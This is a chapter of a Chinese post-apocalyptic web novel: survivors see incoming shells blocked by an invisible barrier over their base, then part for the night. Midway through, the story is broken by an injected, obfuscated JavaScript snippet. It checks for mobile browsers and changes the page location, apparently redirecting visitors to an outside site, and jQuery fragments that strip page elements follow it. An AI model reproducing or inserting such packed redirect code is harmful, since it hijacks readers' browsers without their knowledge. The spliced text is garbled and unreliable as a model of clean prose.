在最初的时候,顾瑞生也曾对人们的平和感到过惊讶,但后来仔细一想,这也很正常。 有足够的食物,有遮风挡雨的场所,没有极端天气,当时也没人想过坏东西会这么早重新出现,天是蓝蓝的。 人们就像是在灾难后被突然扔进了一个绝对自由的开放性游戏中,除了很好满足的“每天摄入2000大卡热量并适当休息”的主线任务以外,没有任何强制接收的支线任务。 也许过去的好友这次不幸没有分到一个服务器,但人们仍有认识新人的能力。 在这种情况下,顾瑞生遇见的大多数人,要么成为虚无主义,能活一天是一天,要么主动开启支线,投身于各种各样的执念中。 而现在,顾瑞生又被迫提醒到,人们对于支线任务的选择远比他目前看到的要广阔得多。 震耳的爆炸声如雷霆般响彻天空,红色的火光席卷着烟尘翻滚着冲向云霄,有什么东西像流行一般从天际划过,留下一条拖长的尾线,原本顾瑞生以为已经消失在沉眠纪元中的热武器重现于世,并在此时将目标对准了自己的同胞。 走廊处传来杂沓的脚步声,被吵醒的人们惊慌不定地向同伴们寻求答案,而在此期间,外面的响声一直没有断绝。 顾瑞生离开窗户,向着门外跑去,刚开门,便像是撞进了一堵墙里。 他抬头,发现严卓正抬着手,从手势看像是想敲门。 顾瑞生拉着对方就往外面跑。 过程中正好经过程老和谢临川几人的房间,他们原本也从房间中探出头来,一眼就看见了正拉着严卓狂奔的顾瑞生,两边的视线对上了一瞬,程老两人想都没想就加入了队伍。 其实在遇袭的时候,继续待在建筑物里寻找恰当的掩体比下楼到空旷的地点去要更好,因为建筑物能帮忙抵御爆炸带来的冲击波、各种可能的碎片,以及高温等乱七八糟的东西,但程老他们对于顾瑞生的信任超过了对自己所知常识的认知。 直到几人来到了楼体的位置,顾瑞生眼看着要往楼上跑,谢临川才自言自语般地问道,“这种情况为什么要上楼……?” 就算此时此刻,他的语气中也没有对顾瑞生选择的质疑,有的只是单纯不理解现状的疑惑。 顾瑞生这才意识到了什么,原本抓着严卓手腕的手下意识握紧,又在发现了自己的动作后瞬间松手将起甩开。 严卓低头,看着自己被甩开的手,又扭头去看谢临川。 顾瑞生站在台阶上,喉头微动,“我……我刚刚从窗户看,那些攻击好像被什么东西拦住了,所以我想上楼顶看更清晰些。” 只是现在突然被指出来,顾瑞生才意识到,自己第一反应是拉着严卓一起这个事情有多么的不对劲。 这完全没有意义,毕竟以现在顾瑞生的情况,在他身边并不比在其他地方安全,甚至更加危险,让他们在屋子里躲好才是最佳选择。 谢临川瞬间接受了顾瑞生的解释,“那我们还等什么,赶紧上楼去看看吧。” 说完,他就越过顾瑞生,向着楼顶的方向跑去,顾瑞生想过要制止,但程老紧随其后,为了不耽误更多的时间,他咬着牙,最终没再说什么。 严卓垂着眼,慢一步跟上,等一路来到顶楼的时候,门锁已经被谢临川撬开,几人站在露台上,周围的建筑还有一段距离,视野格外开阔。 借着火光,众人可以看见袭击是从墙外发起的,那些看不清型号的榴弹如烟花般接连不断地从地平线以外发射,划过天空,并逐渐坠落。 那落点看着竟然就在顾瑞生他们附近。 虽然本身就是因为看见那些攻击被拦下来才来的露台,但真的见到危险袭来的时候,顾瑞生还是忍不住屏住了呼吸,眼睛紧盯着天空。 所有的感官都被调动,时间都好像慢了下来。 顾瑞生感觉有人从自己的背后接近,在命运降临的前一秒牵上了自己的衣角。 火光在距离几人头顶可能只有十几米的地方炸开,就像撞到了什么无形的东西,瞬间的明亮犹如夜空中骤然出现的太阳,又转瞬即逝,只剩下零星温度过高的细小碎片被弹开,最终落到不知名的地方。 这好像是袭击的最后一波,在这之后,几人又等了一阵,但对方好像确实已经放弃,夜晚重回平静。 顾瑞生缓缓扭头。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16132139|179309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “竟然真的被拦下来了,但天太黑了,看不清到底发生了什么。” 谢临川感叹了一句,随后就发现顾瑞生和严卓在大眼瞪小眼。 “……你们在干嘛?” 原本正认真观察着天空的程老百忙之中抽出空来给谢临川来了一记肘击。 谢临川经过提醒,突然意识到了自己的多嘴,“啊,那个,我就随便问问,你们……” 顾瑞生面无表情打断道:“我们什么也没干。” 谢临川:“……哦。” “那我们现在怎么办?要去找负责人讨个说法之类的吗?” 程老:“那你知道谁是负责人,还有该去哪里找吗?” 谢临川:“……不知道。” 他们才第一天到这个基地,还什么都不知道呢,而且之前又连着赶了几天的路,现在纯粹是因为受到惊吓才突然清醒,状况其实都算不上好。 几人最终讨论了一下,决定今晚先回去休息,明天再研究到底发生了什么事情。 并且,因为担心晚上又出现了什么事情,程老还提议与谢临川今晚同住,反正他们现在的房间都是原本的宿舍,里面全是高低床,也不愁没有住的地方。 程老说这话的时候没有避着顾瑞生和严卓,但也没询问他们晚上要不要也这样规避一下可能的风险,在谢临川表示没问题之后,就拽着还懵懂的年轻人走了。 徒留顾瑞生和严卓两人站在原地,一时间空气都安静了。 严卓慢吞吞地问到:“那我们……?” 顾瑞生:“本来就是对门,已经够近了,还住一起干什么?” “哦。” 两人一前一后地回到寝室,他们折腾的时间,其他人大多也重新回到了屋子里,走廊上空无一人,连月光也寥寥无几,能感受到的仿佛只剩下彼此的脚步与呼吸。 顾瑞生站在自己寝室的门口,无意识地回头看了一眼,发现严卓也在看自己。 就在他思考着如果严卓再度开口,自己要怎么拒绝的时候,就听对方道,“晚安。” “……嗯。” 两人各自回了房间。 人们看不见的地方,原本跟着顾瑞生和严卓的静滯之瞳仍旧留在走廊中,面面相觑。 祂们的行动是不是已经有点晚了……?